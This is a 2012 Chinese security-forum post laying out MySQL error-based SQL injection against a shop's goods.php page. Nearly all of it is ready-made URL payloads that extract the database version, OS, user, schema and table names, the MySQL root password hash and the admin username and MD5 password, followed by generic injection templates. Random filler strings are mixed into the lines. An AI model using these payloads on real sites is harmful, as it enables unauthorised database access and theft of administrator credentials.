找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1980|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
判断版本号 % v/ s, X$ H6 l* L
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23) Z5 S& p4 I8 b, L; W+ q: u. E; E
+ y* @" p5 |* y) }8 E, z: ~, F% u
判断系统; q6 M# w( B5 ?, j' y% y

1 n0 K6 ^+ t9 u: e; rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23$ R- I! F- @- j6 j/ }* k, C
5 p1 ^0 _/ o8 d" f% J: R7 w3 N
5 `+ w/ {  D3 ^  ]; D

$ V4 M2 g* A% H8 r9 m& _当前 user()" H6 r4 T# d, w1 x+ n

" _- p/ F* p0 j" X. yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" |: _: O, r2 e5 X$ F0 ~; {9 n( v) c7 k* H" s
3 ]$ [' [7 t! p9 G3 X7 M' |! B

- M# G" X4 ]3 ]$ ?当前 database()
+ r6 N) n5 M# J4 `: L+ `http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
+ {% u! ]( [9 j, r3 D+ j8 I
% m( q% o( `, ], G! z7 @9 Q* C& `; d4 d2 x/ N6 e
% K5 l- j7 g0 x! ]/ C) k

3 \* S6 \9 n# B' `) Z5 Y! ~1 Oroot hash7 u( L7 h* M' i6 J) O5 H

  j% o$ C5 J' _http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23& a% i9 d" ]; I
" t) y- h, `5 t2 m: }8 X4 Y, s
5 ]0 }# k+ v5 ^2 S1 I7 M
8 Z5 Z* M  m8 l3 G; H
当前 数据库表名
2 L% _9 p( h2 }, p! P
  V0 X) D/ ^* d% E; G" s" ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) M- c7 C1 R) ?. S: t4 {& F. C! h0 F' ~
* d) r9 J4 N' w) H

3 x6 }& b- A; R, Z+ ?; `5 S. }6 U当前 数据库 user_name 字段% z6 j* N) z0 x$ Y

4 u' J. u% e! a  J7 }, Z& M9 Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* U. G+ G8 N7 j7 R0 J3 t8 e$ l
& V  Y/ g5 E2 ?' f  O2 G
当前 数据库 字段 password' B  n6 m- U3 v$ J# D0 \. g
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 N" V! T; i& N( A+ N! Z- P

. V( ~2 N' u6 N2 H/ n* w3 S& M6 l7 j  T( D# ~, @" x0 t$ D
8 C+ }: ~  }1 o! S& Y* o+ h1 y
获得 admin passwd(md5)0 ~$ T& G# k; O) m6 C3 ]

! o% O8 d  A  i9 m
: c) K, r" y5 A7 L- ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 j. J4 s2 ~+ O! n! J9 T( S& q
) q: ]: a& q/ e6 }7 u, W$ j报错注射. c* I9 m+ Z' o! H
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)/ W; [: V2 w3 [$ Q

# k5 r* X8 M9 u' [5 l% \5 pSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
6 |" x9 y2 R6 B" k! T. G; r8 b0 q
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表